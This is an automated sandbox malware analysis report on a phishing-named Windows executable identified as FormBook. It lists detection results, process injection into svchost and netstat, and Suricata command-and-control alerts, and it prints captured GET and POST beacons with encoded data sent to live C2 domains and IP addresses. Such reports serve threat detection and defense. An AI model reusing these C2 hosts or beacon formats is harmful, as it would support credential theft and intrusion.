Windows Analysis Report
PAYMENT ADVISE#9879058.exe

AV Detection

Source: chalet-tofane.net

Virustotal: Detection: 8%

Perma Link

Source: PAYMENT ADVISE#9879058.exe	ReversingLabs: Detection: 26%
Source: PAYMENT ADVISE#9879058.exe	Virustotal: Detection: 28%			Perma Link

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: PAYMENT ADVISE#9879058.exe

Joe Sandbox ML: detected

Compliance

Source: PAYMENT ADVISE#9879058.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: netstat.pdbGCTL source: svchost.exe, 00000001.00000003.2310699924.000000000301A000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000002.2958989075.00000000011F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netstat.pdb source: svchost.exe, 00000001.00000003.2310699924.000000000301A000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000002.2958989075.00000000011F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eYlgnnKYnAjqSS.exe, 00000005.00000000.2255485457.00000000002EE000.00000002.00000001.01000000.00000005.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000002.2958341376.00000000002EE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734554493.0000000004620000.00000004.00001000.00020000.00000000.sdmp, PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734731744.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2236283658.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2238093908.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.0000000003700000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2343943133.000000000376B000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2341951806.00000000035BB000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003920000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734554493.0000000004620000.00000004.00001000.00020000.00000000.sdmp, PAYMENT ADVISE#9879058.exe, 00000000.00000003.1734731744.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2341839749.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2236283658.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2238093908.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2341839749.0000000003700000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, NETSTAT.EXE, 00000006.00000003.2343943133.000000000376B000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000003.2341951806.00000000035BB000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003920000.00000040.00001000.00020000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2959757865.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: NETSTAT.EXE, 00000006.00000002.2960171619.0000000003F4C000.00000004.10000000.00040000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2958501115.000000000317E000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409776057.000000000305C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2687690315.000000001A4AC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: NETSTAT.EXE, 00000006.00000002.2960171619.0000000003F4C000.00000004.10000000.00040000.00000000.sdmp, NETSTAT.EXE, 00000006.00000002.2958501115.000000000317E000.00000004.00000020.00020000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409776057.000000000305C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2687690315.000000001A4AC000.00000004.80000000.00040000.00000000.sdmp

Spreading

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,		0_2_00452126
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,		0_2_0045C999
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00436ADE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00434BEE
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,		0_2_00436D2D
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00442E1F
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,		0_2_0045DD7C
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,		0_2_0044BD29
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00475FE5
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_0044BF8D
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 6_2_030FC510 FindFirstFileW,FindNextFileW,FindClose,		6_2_030FC510

Software Vulnerabilities

Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then xor eax, eax		6_2_030E9B10
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Code function: 4x nop then mov ebx, 00000004h		6_2_037004DE

Networking

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49907 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50010 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50005 -> 203.161.43.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50008 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50011 -> 154.23.184.240:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50004 -> 203.161.43.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50003 -> 203.161.43.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50009 -> 104.21.11.31:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50006 -> 203.161.43.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50007 -> 104.21.11.31:80

Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"

Source: Joe Sandbox View	IP Address: 62.149.128.40 62.149.128.40
Source: Joe Sandbox View	IP Address: 203.161.43.245 203.161.43.245

Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /w5h3/?xNv=1SmCwmpOaIYJfuspvbmYENxQiVuKofAafkRqArhwQnoekPS2kKO+Sw+l3ZpIkD6/zHiqkZCr31NVHRkc0KhHMBZH6coriNZLnk7PgxLNtl8YZG6QQCHD2lU=&xh-d=eNF4ktDXSL5XRvo HTTP/1.1Host: www.chalet-tofane.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405
Source: global traffic	HTTP traffic detected: GET /fes8/?xNv=cTPMtmydtIOcZN1EpbOznD6DHSF1GJA5rrzAazo95AkGy7xpXMeTb2ED7e9G6zC4vj43JKFjl9b/uRwCEgcjRW9DYZ4o78I1UccG1j+HCTKiHQxKTun3ViY=&xh-d=eNF4ktDXSL5XRvo HTTP/1.1Host: www.healtpro.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405
Source: global traffic	HTTP traffic detected: GET /3rsv/?xNv=xIX+WL4Gosls7mMvG39YjczwIlc5FH+9QHTcqjrnYPts9+3MRA8haYPK8pqgYSQnqVoX+MtR4yK2qH2ERM2vlkvqHJkEK2jfahGH5woqObRGQGud+bD1SW8=&xh-d=eNF4ktDXSL5XRvo HTTP/1.1Host: www.b5x7vk.agencyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405

Source: global traffic	DNS traffic detected: DNS query: www.bonusgame2024.online
Source: global traffic	DNS traffic detected: DNS query: www.chalet-tofane.net
Source: global traffic	DNS traffic detected: DNS query: www.healtpro.top
Source: global traffic	DNS traffic detected: DNS query: www.b5x7vk.agency
Source: global traffic	DNS traffic detected: DNS query: www.wcq24.top

Source: unknown

HTTP traffic detected: POST /fes8/ HTTP/1.1Host: www.healtpro.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,enOrigin: http://www.healtpro.topContent-Length: 200Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedReferer: http://www.healtpro.top/fes8/User-Agent: Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A405Data Raw: 78 4e 76 3d 52 52 6e 73 75 52 71 51 37 49 48 42 55 4e 52 37 33 5a 71 65 74 53 7a 43 61 44 70 35 4a 4f 64 4a 37 71 58 56 4b 67 70 4d 33 6b 45 73 68 6f 70 7a 62 50 2f 50 55 52 51 30 78 2b 59 30 79 54 6d 74 69 48 73 72 61 70 4e 6b 7a 74 66 66 74 69 68 4b 55 67 68 6b 4f 53 70 39 58 5a 59 56 37 39 4d 6a 65 4b 6b 42 2b 6c 72 57 54 30 57 75 62 51 5a 63 57 64 2b 77 4b 67 72 53 6d 39 49 6c 41 4d 48 30 46 4e 61 69 5a 72 50 72 6f 50 42 63 74 41 58 50 69 4e 46 72 4f 33 50 55 44 64 78 44 56 6c 33 50 2f 65 39 66 68 6f 4d 44 36 38 2b 79 77 43 4f 47 79 63 76 50 4d 39 4b 32 59 32 49 50 47 7a 4d 79 48 67 3d 3d Data Ascii: xNv=RRnsuRqQ7IHBUNR73ZqetSzCaDp5JOdJ7qXVKgpM3kEshopzbP/PURQ0x+Y0yTmtiHsrapNkztfftihKUghkOSp9XZYV79MjeKkB+lrWT0WubQZcWd+wKgrSm9IlAMH0FNaiZrProPBctAXPiNFrO3PUDdxDVl3P/e9fhoMD68+ywCOGycvPM9K2Y2IPGzMyHg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Thu, 10 Oct 2024 08:08:18 GMTConnection: closeContent-Length: 5103Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:34 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:36 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:39 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 08:08:42 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 